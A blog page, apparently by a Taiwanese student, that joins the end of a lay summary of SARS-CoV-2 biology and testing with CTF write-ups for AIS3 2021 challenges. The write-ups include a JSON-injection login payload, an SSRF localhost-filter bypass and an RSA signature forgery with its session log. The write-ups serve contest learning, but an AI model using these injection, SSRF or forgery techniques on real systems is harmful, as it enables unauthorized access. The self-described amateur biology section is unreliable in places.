因為合成方向是由尾向頭，回顧上面的RNA結構，其會從後面的sp域3’端逆回來合成。而RNA上尾部的地方每個區段之間都有TRS-B的存在，頭端則是有TRS-L。可以觀察下圖的型態，會發現它的RNA事實上並非線狀，nsp域的地方事實上有折疊的情況，使每個TRS-B在合成途中都可能立即中止跳躍到TRS-L的地方轉錄到5’端結束合成。而這些長度不一的RNA根據序列的不同，可能在內質網上轉錄出如S/E/M/N等protein。
RdRp既然主宰了病毒RNA的複製與轉錄，自然有特殊的藥物來阻斷它。新聞中先前常常提到的瑞德西韋(remdesivir)，它的原理是在RdRp在RNA上移行時，瑞德西韋會嵌入i位合成在新股上，但是瑞德西韋是個錯誤的密碼子，特別用於核對正確性的nsp14也無法將其去除，因此會阻斷RNA轉錄，RdRp進而解體，利用這個效果產生病毒抑制。
病毒組裝的部分，目前眾說紛紜，較廣為接受的是N protein與RNA的結合，詳見下圖，一開始複製好的RNA因為Packaging signals而讓N protein開始接上，而N protein彼此也會互相結合，因此將RNA形成了一坨穩固的核心(RNP)。
而這團核心會離開內質網，在這之前，內質網上附著了原先轉譯好的結構蛋白，出芽而形成囊泡，前往高基氏體進行修飾，在這途中的狀態，稱之為內質網-高基氏體中間體(ERGIC)。病毒會在此進行組裝，並且在完成後送到高基氏體cis面修飾。其途中會形成COPI與COPII幫助囊泡形成。
小知識 : COPI由ERGIC傳送到ER，COPII由ER傳送到ERGIC
最後病毒便會進行胞吐作用(exocytosis)離開宿主細胞，繼續感染下一個細胞。
$Q :$ 蛋白質一定會這麼順利的組裝成功嗎?
事實上，病毒外殼組裝成功的機率很低，因此細胞內往往會累積大量的轉譯失敗或沒有組裝的蛋白質，稱為包涵體(inclusion body)。
Taiwan’s Epidemic
現今台灣的疫情仍在於危急情形之下，目前中央指揮中心所頒布的分級警戒情形如下:
現在的三級警戒由於疫情並沒有減緩的跡象，已經由5/18起宣布延期了2次，以目前情況而言以雙北感染最為嚴重，因應此情況，指揮中心針對現有情況提出了不少解釋，其中不乏許多專有名詞，這裡針對幾個比較常見的名詞做解釋。
Cycle Threshold Value
Cycle threshold value，多簡稱Ct value，是在PCR核酸檢測時所利用來紀錄核酸放大倍率的數值。PCR的原理是利用溫度的變化加上一種稱為Taq的蛋白酶與其他相關的協助酵素等，利用原本的核酸解開之後作為模板股進行新股合成，因此複製出的核酸數量會以2的指數次方成長，Ct value指的就是複製的次數。因此，假設Ct value=$n$，則核酸數量會是原本的$2^n$倍。
這個方法被作為審查是否確診的標準之一，若是Ct value很大，表示原先所採集到的核酸很少，需要進行多次的PCR才能到達能夠檢測的範圍，相對不會被認為是染疫者(完全沒有染疫者的理想Ct value為$∞$)。以台灣的標準而言，訂定Ct value 34以下為染疫者，而歐美的標準則是40，各國標準不同的情況下也可能使原先在台未檢出染疫者到國外之後反而呈現陽性反應。
Rapid Test
相對於上方提及的PCR檢測，其因需要相關的化學檢驗，步驟較為繁雜，因此快篩往往必須採取另外的檢測方式。目前最多使用的是採集受檢者鼻咽部檢體之後，以目前已知的抗體種類進行抗原檢測，若是檢出之後會有顏色變化再以肉眼判斷。目前的SARS-Cov-2抗體檢測是檢測病毒上的核殼蛋白N protein，而非病毒的RNA。
另一種方法是透過抽血，檢測血液中的抗體反應，這個方法可以應用在檢測新冠肺炎的感染時程或疫苗反應(檢測IgG/IgM)，以台灣疫苗為例，AZ疫苗的成分是SARS-Cov-2的棘蛋白(S protein)，因此會檢測S protein的IgG反應(IgM在染疫後期才會大量增加，在前期無法檢測確診與否)，但這兩種方法也容易因為其他病毒有相同反應而產生偽陽性的情況。
此外，因為SARS-Cov-2上的RNA含有特殊的序列，如轉譯出RdRp蛋白(nsp12)的序列等，因此也可以透過檢測序列來進行核對，這個方法大大減低了偽陽性的個案數量。
這次就先整理到這裡吧!但是畢竟這是十分新穎的領域，我也是在網路上以及額外跟老師學習的內容中整理並學習，一定會有地方有所疏漏，如果有發現任何地方寫錯或者是不清楚都可以告訴我喔~下一次應該會整理疫苗跟確診數據統計的部分!


2021 AIS3 Pre-exam Write Up
2021-06-06T14:08:29.000Z
今年第一次參加 AIS3 Pre-exam，之前有先看過一些別人寫的 Write Ups，發現今年的解題想法好像差蠻多的 TAT，今年成績第 71 名，算在錄取邊緣，期待明年我能表現更好囉!
這裡就來整理一下我賽中跟賽後有解出的題目吧!如果覺得有問題的話可以在留言區告訴我喔 XD
P.S. 之前賽後交出去的那份 Write Up 覺得太爛了不想貼出來，決定重打一份 w
Welcome
Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
Author: splitline feat. Hojo Satoko
題目給了一行 command
1
TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
把它拿到 Terminal 執行後可以發現他跳出了一個 Python 的執行畫面，用鍵盤可以輸入數字，輸入錯誤會鎖起來，因此可以用手動的輸入猜密碼，得到正確的密碼就可以解鎖 flag。
1
Password: 202583045529
FLAG:
1
AIS3{H1n4m1z4w4_Sh0k0gun}
MISC
Microcheese
Author: toxicpie
這題一樣給了 nc 跟 source code，但 source code 看了半天還是沒什麼想法，先去 nc 玩玩再說。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ nc quiz.ais3.org 10234
+-------------------- welcome --------------------+
| omg hi!                                         |
|                                                 |
| welcome to microchess, the minimal online chess |
| platform.                                       |
| i am a super powerful chess AI!                 |
| can you win against me and get the flag?        |
+---+--------------- main menu -------------------+
| 0 | read the rules of the game                  |
| 1 | start a new game against me                 |
| 2 | load a saved game                           |
| 3 | leave                                       |
+---+---------------------------------------------+
what would you like to do? 1
+---+-------------- stones info ------------------+
| 0 | ooooooooooooo                               |
| 1 | ooooo                                       |
| 2 | ooooooooooo                                 |
| 3 | o                                           |
| 4 | oooooooooooooooooooooooooooooo              |
| 5 | ooooooo                                     |
| 6 | ooooooooooooooooooooooooooo                 |
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 3
how many stones do you remove? 1
+--------------------- moved ---------------------+
| you removed 1 stones from pile 3                |
+---+-------------- stones info ------------------+
| 0 | ooooooooooooo                               |
| 1 | ooooo                                       |
| 2 | ooooooooooo                                 |
| 3 | oooooooooooooooooooooooooooooo              |
| 4 | ooooooo                                     |
| 5 | ooooooooooooooooooooooooooo                 |
+--------------------- moved ---------------------+
| i removed 1 stones from pile 0                  |
+---+-------------- stones info ------------------+
| 0 | oooooooooooo                                |
| 1 | ooooo                                       |
| 2 | ooooooooooo                                 |
| 3 | oooooooooooooooooooooooooooooo              |
| 4 | ooooooo                                     |
| 5 | ooooooooooooooooooooooooooo                 |
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose?
看起來是個遊戲，但玩了幾輪之後發現怎麼玩都輸，回去看 source code 發現game.py裡面好像有些東西。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import random
from typing import Tuple


class Game:
    '''
    a simple Nim game with normal rules.
    grundy's theorem: if nim_sum() is zero, then the player to move has a
    winning strategy. otherwise, the other player has a winning strategy.
    '''

    def __init__(self):
        self.stones = []

    def generate_winning_game(self) -> None:
        '''generate a game such that the first player has a winning strategy'''
        self.stones = []
        xor_sum = 0

        piles = random.randint(6, 8)
        for i in range(piles):
            self.stones.append(count := random.randint(1, 31))
            xor_sum ^= count

        if xor_sum == 0:
            self.stones.append(random.randint(1, 31))

    def generate_losing_game(self) -> None:
        '''generate a game such that the second player has a winning strategy'''
        self.stones = []
        xor_sum = 0

        piles = random.randint(6, 8)
        for i in range(piles):
            self.stones.append(count := random.randint(1, 31))
            xor_sum ^= count

        if xor_sum != 0:
            self.stones.append(xor_sum)

    def make_move(self, pile: int, count: int) -> bool:
        '''makes a move, returns whether the move is legal'''

        if pile not in range(0, len(self.stones)):
            return False
        if count not in range(1, self.stones[pile] + 1):
            return False

        self.stones[pile] -= count
        if self.stones[pile] == 0:
            self.stones.pop(pile)

        return True

    def nim_sum(self) -> int:
        xor_sum = 0
        for count in self.stones:
            xor_sum ^= count
        return xor_sum

    def ended(self) -> bool:
        '''
        checks if the game has ended, i.e., the player has no more moves.
        if True, the current player loses the game
        '''
        return len(self.stones) == 0

    def show(self) -> None:
        print('+---+-------------- stones info ------------------+')
        for pile, count in enumerate(self.stones):
            print(f'| {pile} | {"o" * count:<43} |')

    def load(self, game_str: str) -> None:
        '''loads a saved game from string'''
        self.stones = list(map(int, game_str.split(',')))

    def save(self) -> str:
        '''returns the current game as a string'''
        return ','.join(map(str, self.stones))


class AIPlayer:
    '''
    a perfect Nim player. if there exists a winning strategy for a game, this
    player will always win.
    '''

    def __init__(self):
        pass

    def get_move(self, game: Game) -> Tuple[int, int]:
        '''
        if there is a winning strategy, returns a move that guarantees a win.
        otherwise, returns a random move.
        '''
        nim_sum = game.nim_sum()

        if nim_sum == 0:
            # losing game, make a random move
            pile = random.randint(0, len(game.stones) - 1)
            count = random.randint(1, game.stones[pile])

        else:
            # winning game, make a winning move
            for i, v in enumerate(game.stones):
                target = v ^ nim_sum
                if target < v:
                    pile = i
                    count = v - target
                    break

        return (pile, count)
從程式內容跟註解可以很明顯的看到，比賽的必勝關鍵便是盤面所有行棋數的 xor 為 0。但是程式裡面的 AIPlayer 便是利用這個規則，讓自己下完時的盤面保持 0 的狀態，果然是必勝訣竅阿…
原本這題賽中我應該是解不出來的，但是因為有一次把號碼按錯之後發現一個超級大的 bug，當我在選擇下一個步驟時，我按了3(不在按鈕內)，結果他就直接跳過了我的回合，讓盤面不再保持 xor 為 0 的狀態，接著就只需要讓最後一顆棋是由我拿走的就可以拿到 flag 了。
P.S. 這應該是因為沒有過濾其他輸入的問題…總之我拿到 flag 了 XD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 3
+--------------------- moved ---------------------+
| you removed 3 stones from pile 1                |
+---+-------------- stones info ------------------+
| 0 | o                                           |
| 1 | o                                           |
+--------------------- moved ---------------------+
| i removed 1 stones from pile 1                  |
+---+-------------- stones info ------------------+
| 0 | o                                           |
+---+--------------- game menu -------------------+
| 0 | make a move                                 |
| 1 | save the current game and leave             |
| 2 | resign the game                             |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 1
+---------------- congratulations ----------------+
| you are a true grandmaster of chess! here is    |
| the flag for you:                               |
| AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3} |
+-------------------------------------------------+
FLAG:
1
AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}
Web
ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
Author: splitline
這題給了一個很難按的題目，連進去之後發現是一個 login 畫面，還有一個 sauce link，先點進去看原始碼，發現他是一個 json 資料庫，裡面存有登入的資訊:
用了 guest 成功登入，但沒有 flag。接著用 admin 試試，因為 os.environ.get()的意思是如果 key 不存在就用後面的值來代替，但是還是登入失敗了。
接著觀察輸入後的行為:
他把我們的輸入塞進了%s的地方包裝成 json 格式，但他並沒有過濾%s的內容，所以可以從輸入動手腳。
從上面可以看出來，他把新輸入的使用者 showflag 參數一律設為$false$，所以我們拿不到 flag。但如果我們在輸入中塞入 json 格式的文字，他就會被包到這個 json 裡面送進去執行。
但因為我們必須構造一個不存在於原 database 的使用者，而 json 找不到 username 會回傳$null$，因此我們將 password 也設為$null$即可。
構造 payload:
1
2
username payload: M3t30r", "showflag": true, "username": "m3t30r
password payload: M3T30r", "password": null, "username": "M3T30R
FLAG:
1
AIS3{/r/badUIbattles?!?!}
HaaS
Author: anonymous
連進這題的網址後會是/haas 的分頁，但會顯示出 405 Method Not Allowed Error
稍微在網頁中翻找一下會發現根目錄裡面是一個”HealthCheck as a Service”網站，有一個可以輸入網址的欄位，用 F12 翻一下還可以發現一個 hidden 的 status code 參數。
一開始試了一些 Command Injection 之類的東西，但發現好像不太行。後來打開 Hint 裡面寫了SSRF，就開始往 localhost 的方向走了，但是如果直接連進 localhost 的 IP(https://127.0.0.1/)跟domain會發現他被過濾了:
於是開始嘗試 SSRF 的 bypass 方法，這裡嘗試了幾個發現https://127.000000.000000.1/(要注意它只吃絕對網址)這個 bypass 可以成功讓 haas 顯示"Alive"，但我們必須拿到裡面的內容，所以將 status code 改掉讓 haas 噴出 Error 後即可拿到 flag。
FLAG:
1
QQ我忘了，然後題目機把localhost關掉了TAT
Crypto
Microchip
Author: toxicpie
這題給了一個 microchip.cpp、output.txt 與 python.h 檔，打開觀察後可以發現它利用匯入 python.h 的 library 進行 python 語法的混淆，所以應只需要觀察程式邏輯即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "python.h"


def track(name, id) -> str ??                                                   {

    if len(name) % 4 == 0 ??                                                    ){
        padded = name + "4444"                                                  ;}
    elif len(name) % 4 == 1 ??                                                  ){
        padded = name + "333"                                                   ;}
    elif len(name) % 4 == 2 ??                                                  ){
        padded = name + "22"                                                    ;}
    elif len(name) % 4 == 3 ??                                                  ){
        padded = name + "1"                                                     ;}

    keys = list()                                                               ;
    temp = id                                                                   ;
    for i in range(4) ??                                                        ){
        keys.append(temp % 96)                                                  ;
        temp = int(temp / 96)                                                   ;}

    result = ""                                                                 ;
    for i in range(0, len(padded), 4) ??                                        ){

        nums = list()                                                           ;
        for j in range(4) ??                                                    ){
            num = ord(padded[i + j]) - 32                                       ;
            num = (num + keys[j]) % 96                                          ;
            nums.append(num + 32)                                               ;}

        result += chr(nums[3])                                                  ;
        result += chr(nums[2])                                                  ;
        result += chr(nums[1])                                                  ;
        result += chr(nums[0])                                                  ;}

    return result                                                               ;}


def main() -> int ??                                                            {

    name = open("flag.txt", "r").read().strip()                                 ;
    id = int(input("key = "))                                                   ;

    print("result is:", track(name, id))                                        ;
    return 0                                                                    ;}
下面是 output.txt 的內容:
1
result is:=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu
從程式中可以發現他先把 flag 長度補成 4 的倍數後，用一組四個 key 來對 flag 進行一次 4 字元的運算。但是，我們沒有 key 也沒有 flag，要怎麼逆運算回去?
後來發現我們可以利用 flag formatAIS3{...}來解決這件事，先用前四個已知 flag 字元搭配 output 算出 key 之後，我們就能利用 output 推回 flag 了。
值得注意的是，他把 output 四個逆過來輸出，所以我們先把 output 逆回來比較容易計算。
1
&sJ=`A*;HZdoD>'i&sJ=D-i#U>fYuy'yuyfyuG)<
用AIS3與&sJ=可以算出四個 key 的值:
1
{69,42,87,10}
有了 output 與 key 就能寫程式來逆推 flag 了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include
using namespace std;
string s="&sJ=`A*;HZdoD>'i&sJ=D-i#U>fYuy'yuyfyuG)<";
int k[4]={69,42,87,10};

int main(){
for(int i=0;i<40;i++){
for(int j=48;;j++){
if(char((((j-32)+k[i%4])%96)+32)==s[i]){
cout<<char(j);
break;
}
}
}
cout<
return 0;
}
P.S. 從我們的結果可以發現 flag 一開始塞了”22”到後面喔~XD
FLAG:
1
AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
ReSident evil villAge
Author: Kuruwa
這題給了一個 nc 跟 source code，打開 source code 看一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import socketserver
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from binascii import unhexlify

class Task(socketserver.BaseRequestHandler):

def recv(self):
return self.request.recv(1024).strip()

def send(self, msg):
self.request.sendall(msg + b'\n')

def handle(self):
privkey = RSA.generate(1024)

n = privkey.n
e = privkey.e

self.send(b'Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.')
self.send(b'n = ' + str(n).encode())
self.send(b'e = ' + str(e).encode())

while True:
self.request.sendall(b'1) sign\n2) verify\n3) exit\n')
option = self.recv()

if option == b'1':
self.request.sendall(b'Name (in hex): ')
msg = unhexlify(self.recv())
if msg == b'Ethan Winters' or bytes_to_long(msg) >= n:  # msg+k*n not allowed
self.send(b'Nice try!')
else:
sig = pow(bytes_to_long(msg), privkey.d, n)     # TODO: Apply hashing first to prevent forgery
self.send(b'Signature: ' + str(sig).encode())

elif option == b'2':
self.request.sendall(b'Signature: ')
sig = int(self.recv())
verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
if verified:
self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
else:
self.send(b'Well done!')

else:
break

class ForkingServer(socketserver.ForkingTCPServer, socketserver.TCPServer):
pass

if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 42069
print(HOST, PORT)
server = ForkingServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()

從裡面可以發現 verify 的部分會檢查計算的結果是否等於bytes_to_long(b'Ethan Winters')，而它有給定 n 與 e，因此原本的想法是爆搜，但發現搜不到於是放棄這條路。
再來看看有沒有其他的後門可以繞。sign 的部分，它會把你的註冊用 d 計算後存為 signature。用 RSA 的小常識，用 d 再用 e 運算後會把原本的明文算回來，但它前面出現了一個限制-要用 16 進位輸入而且不能註冊 Ethan Winters 的值。
在這裡要怎麼繞過呢?直觀的想法便是在前面加 00，因為這樣數字運算的時候會把 00 省略，但是字串比較時會與 Ethan Winters 的值不同，所以用 Ethan Winters 的 16 進位值再加上 00 前綴試試看。
1
2
>>> "Ethan Winters".encode().hex()
'457468616e2057696e74657273'
把00457468616e2057696e74657273丟進去註冊，再把跑出來的Signatureverify 即可拿到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc quiz.ais3.org 42069
Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.
n = 116446349250477461211548564037305096646246352712613922877939621221682086442262006076658058243799666178199942844412251167013582517469698767681352409472676329468186602987766214457609857069612827869171818746620035374912701350547179213366848809313278051695960906542268549406826272373673111354786397335987091196949
e = 65537
1) sign
2) verify
3) exit
1
Name (in hex): 00457468616e2057696e74657273
Signature: 81461102639376645458445563890933604042666832496108067724180262424539703394619135196334363979456757148465714312599695970577392038142353089971541912561007212572874317390985050129115895139824645075534050013217923053352965259741321376550049801845665852962177362515169292380016928834541247529513691701369654301864
1) sign
2) verify
3) exit
2
Signature: 81461102639376645458445563890933604042666832496108067724180262424539703394619135196334363979456757148465714312599695970577392038142353089971541912561007212572874317390985050129115895139824645075534050013217923053352965259741321376550049801845665852962177362515169292380016928834541247529513691701369654301864
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
FLAG:
1
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
Republic of South Africa
Author: Kuruwa
這題給了一個 chall.py 與 output.txt，先來看看他的 chall.py 裡面做了什麼事情。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from secret import flag
import random
import gmpy2
gmpy2.get_context().precision = 1024

def collision(m1, v1, m2, v2):
return v1*(m1-m2)/(m1+m2) + v2*(2*m2)/(m1+m2), v1*(2*m1)/(m1+m2) + v2*(m2-m1)/(m1+m2)

def keygen(digits):     # Warning: slow implementation
m1 = 1
m2 = 10 ** (2*digits-2)
v1 = gmpy2.mpfr(0)
v2 = gmpy2.mpfr(-1)

count = 0       # p+q
while abs(v1) > v2 or v1 < 0:
if v1 < 0:
v1 = -v1
else:
v1, v2 = collision(m1, v1, m2, v2)
count += 1

while True:
p = random.randint(count//3, count//2)
q = count - p
if isPrime(p) and isPrime(q):
break
return p, q


p, q = keygen(153)
n = p*q
e = 65537
m = bytes_to_long(flag)
print('n =', n)
print('e =', e)
print('c =', pow(m, e, n))
可以發現他用一種神奇的算法來產出 RSA 參數，那就來看看他是怎麼計算的吧。
一開始真的看不太出來上面的計算是什麼意思，卡了好一陣子。後來又回頭看看題目，collision 是指碰撞，再回頭看看 source code，發現他很好心的把變數設成 m1 跟 v1 這種型態，分別代表了質量和速度!
而 collision function 裡面傳回的便是一維碰撞後兩個物體分別的速度公式，從這裡可以確定碰撞的想法是正確的了。
其中v1<0 時，程式會將它變成相反數，就像撞上了牆壁無能量損失的反彈。因此綜合起來，兩個物體在進行碰撞且 m1 方有一面牆壁，而這時候看看 count 變數，它每碰撞一次便會+1，因此是計算碰撞次數，從這裡直接聯想到物理碰撞的著名經典問題:
從物理碰撞得出圓周率$\pi$
得到這個結論之後就容易許多了，它給定質量是$1:10^{(2\times153-2)}$，因此可以得到 count 便是圓周率的前 154 位(推論過程詳見影片)，而從裡面可以得到 count=p+q，所以我們便得到了p+q=314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848這個條件。
那我們需要把 p 跟 q 解出來嗎?不需要!分別得到 p,q 是因為我們需要計算$\phi(n)$的值，但現在我們有$n=p\times q$與$p+q$兩個條件了，這樣$\phi(n)=(p-1)(q-1)=p\times q-(p+q)+1$便可以計算了。
接下來就是用簡單的 RSA 概念來解決它囉!
1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *

n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536
k = 314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848

phi = n-k+1
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
FLAG:
1
AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
原來 flag 裡面給了一個碰撞的影片啊~有趣的題目 XD
Reverse
Piano
Author: CSY54
這題給了一個 zip，裡面包了一堆額外的設定檔之類的東西。先來執行 piano.exe，但它跳出了一個 alert 要我先去下載.NET 的 framework，這為我在下一步解題時開了一道曙光。
打開之後，它是一個 GUI 琴面，但是…不知道要彈什麼。看起來應該不能從這裡下手，那應該就是要 reverse 了。
先用 IDA Pro 打開.exe 看看，但沒有發現什麼可以用的東西。後來想到一開始顯示的.NET，於是上網查了一下關鍵字.NET reverse，在這個網站裡面發現了一個叫dnSpy的工具，可以對.NET 下的 framework 進行 reverse。那就來用用它吧!
用 dnSpy 打開 piano.exe 沒有發現東西，但打開 piano.dll 之後翻找了一下，發現兩個特別可疑的 functionisValid()與nya():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// piano.Piano
// Token: 0x06000003 RID: 3 RVA: 0x00002220 File Offset: 0x00000420
private bool isValid()
{
List<int> list = new List<int>
{
14,
17,
20,
21,
22,
21,
19,
18,
12,
6,
11,
16,
15,
14
};
List<int> list2 = new List<int>
{
0,
-3,
0,
-1,
0,
1,
1,
0,
6,
0,
-5,
0,
1,
0
};
for (int i = 0; i < 14; i++)
{
if (this.notes[i] + this.notes[(i + 1) % 14] != list[i])
{
return false;
}
if (this.notes[i] - this.notes[(i + 1) % 14] != list2[i])
{
return false;
}
}
return true;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// piano.Piano
// Token: 0x06000004 RID: 4 RVA: 0x0000236C File Offset: 0x0000056C
private string nya()
{
List<int> list = new List<int>
{
70,
78,
89,
57,
112,
60,
125,
96,
103,
104,
50,
109,
87,
115,
112,
54,
100,
97,
103,
56,
85,
101,
56,
119,
119,
100,
59,
88,
50,
48,
62,
120,
84,
58,
100,
86,
74,
92,
54,
96,
60,
117,
119,
122
};
List<char> list2 = new List<char>();
for (int i = 0; i < list.Count; i++)
{
list2.Add((char)(list[i] ^ this.notes[i % this.notes.Count]));
}
return new string(list2.ToArray());
}
觀察一下兩個$function$的關係，發現利用isValid()的條件可以算出 notes 的值，然後送到nya()可以把 flag 計算出來，那就寫個程式來實作就完成了。
先手動算出 notes 的值(很簡單啦不需要程式 XD):
1
{7,7,10,10,11,11,10,9,9,3,3,8,8,7,7}
接著套入nya()邏輯:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include
using namespace std;

int k[100]={   70,
78,
89,
57,
112,
60,
125,
96,
103,
104,
50,
109,
87,
115,
112,
54,
100,
97,
103,
56,
85,
101,
56,
119,
119,
100,
59,
88,
50,
48,
62,
120,
84,
58,
100,
86,
74,
92,
54,
96,
60,
117,
119,
122
};

int n[15]={7,7,10,10,11,11,10,9,9,3,3,8,8,7,7};

int main(){
for(int i=0;i<50;i++){
cout<<char(k[i]^n[i%14]);
}
cout<
return 0;
}
FLAG:
1
AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}
P.S. 所以用 C#調彈小星星真的可以拿到 flag 喔~XD



2021 MyFirstCTF Write Up
2021-06-06T14:08:29.000Z
這次也參加了 AIS3 的 MyFirstCTF 競賽，裡面是一些 AIS3 的題目跟額外的 baby 友善題(結果賽中都解 baby 題 QAQ)，好像蠻少人在打 MyFirstCTF 的 Write Up 的，就來整理一下吧~不過好像比較多梗題的部分(O
P.S. 但是因為大部分的東西都被我刪了所以可能有點簡略敬請見諒 QAQ
這次的成績 17 名+兩題首殺~好像很普通 w
MISC
Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
這題跟 AIS3 Pre-exam 是一樣的題目，直接複製 XD
題目給了一行 command
1
TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
把它拿到 Terminal 執行後可以發現他跳出了一個 Python 的執行畫面，用鍵盤可以輸入數字，輸入錯誤會鎖起來，因此可以用手動的輸入猜密碼，得到正確的密碼就可以解鎖 flag。
1
Password: 202583045529
FLAG:
1
AIS3{H1n4m1z4w4_Sh0k0gun}
[祝賀] 新垣結衣新婚快樂 發錢囉 [baby]
Bonus : First Blood
這題給了一張圖片，看起來像是 forensics，所以先用一些例如 zsteg 或 online tool 之類的工具試了一下，後來用 binwalk 試了一下發現裡面包了一個 zip 檔。
P.S. 是新垣結衣欸~
1
2
3
4
5
6
7
$ binwalk baby.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 675, 8-bit/color RGB, non-interlaced
179           0xB3            Zlib compressed data, best compression
1511327       0x170F9F        End of Zip archive
所以用 foremost 把裡面的東西拉出來。
1
2
3
4
5
$ foremost baby.png -o baby
Processing: baby.png
|foundat=awertyjas‮qrmnk‮.pngt�w4����?�ik�
m��T�ԦZ{�ڵ�J���F�U�k�=�P����&VlAD��z�>�?��|Ϲ�x:�p?������}ߏ�k�+RS0S
*|
接下來到/baby可以發現一個00001726.zip，裡面有一張圖片，推測應該是 flag，但是 local 需要密碼解鎖，猜了幾個常用密碼跟照片名還是錯誤，所以開始找 online tool。
非常幸運的是我第一個使用的網站就讓我解開了，而且不需要密碼~
P.S. 這題應該是偽加密，但是我其實到現在還是沒搞懂它的原理是什麼 XXD
P.S. 是星野源欸~
FLAG:
1
AIS3{看好了世界，我只示範一次如何一天搶走幾億人的老婆}
結果新垣結衣跟星野源還是結婚了~
Web
Copy & Paste [baby]
這題給了一個奇怪的黑色網站，有一個 flag 按鈕，按下去之後會顯示個幾秒 flag 之後消失。但是，他的 flag 大到我只看到中間部分，沒辦法送啊?
按了 F12 之後看一下發現他好像用算的把螢幕高度 anchor 住了，所以我的螢幕不夠長就看不到完整的 flag。那有什麼方法可以讓完整的 flag 顯示出來?
後來腦洞大開把瀏覽器壓扁之後，他的 height 變小，我就可以看到完整的 flag 了!
P.S. 通靈用在這裡是正確的(O
FLAG:
1
AIS3{Re33Ee3E33e3eEEe3eE3El11I1l1i11y_lo0O0oo00o00oOC0OOoo00o0Oo0O0o0Ooo0Oo0oo0Oo0OOOO000OO0ng_f1aG}
P.S. 所以我還是不知道怎麼複製貼上 w 而且這個 flag 我打好久 QQ
不過還好手打，賽後用 OCR 跑出來的是錯的啦= =
Crypto
Judgement [baby]
這題的題目很簡潔，只有一個Judgement.py跟一個output.txt。
1
2
3
4
5
6
7
8
9
10
11
12
13
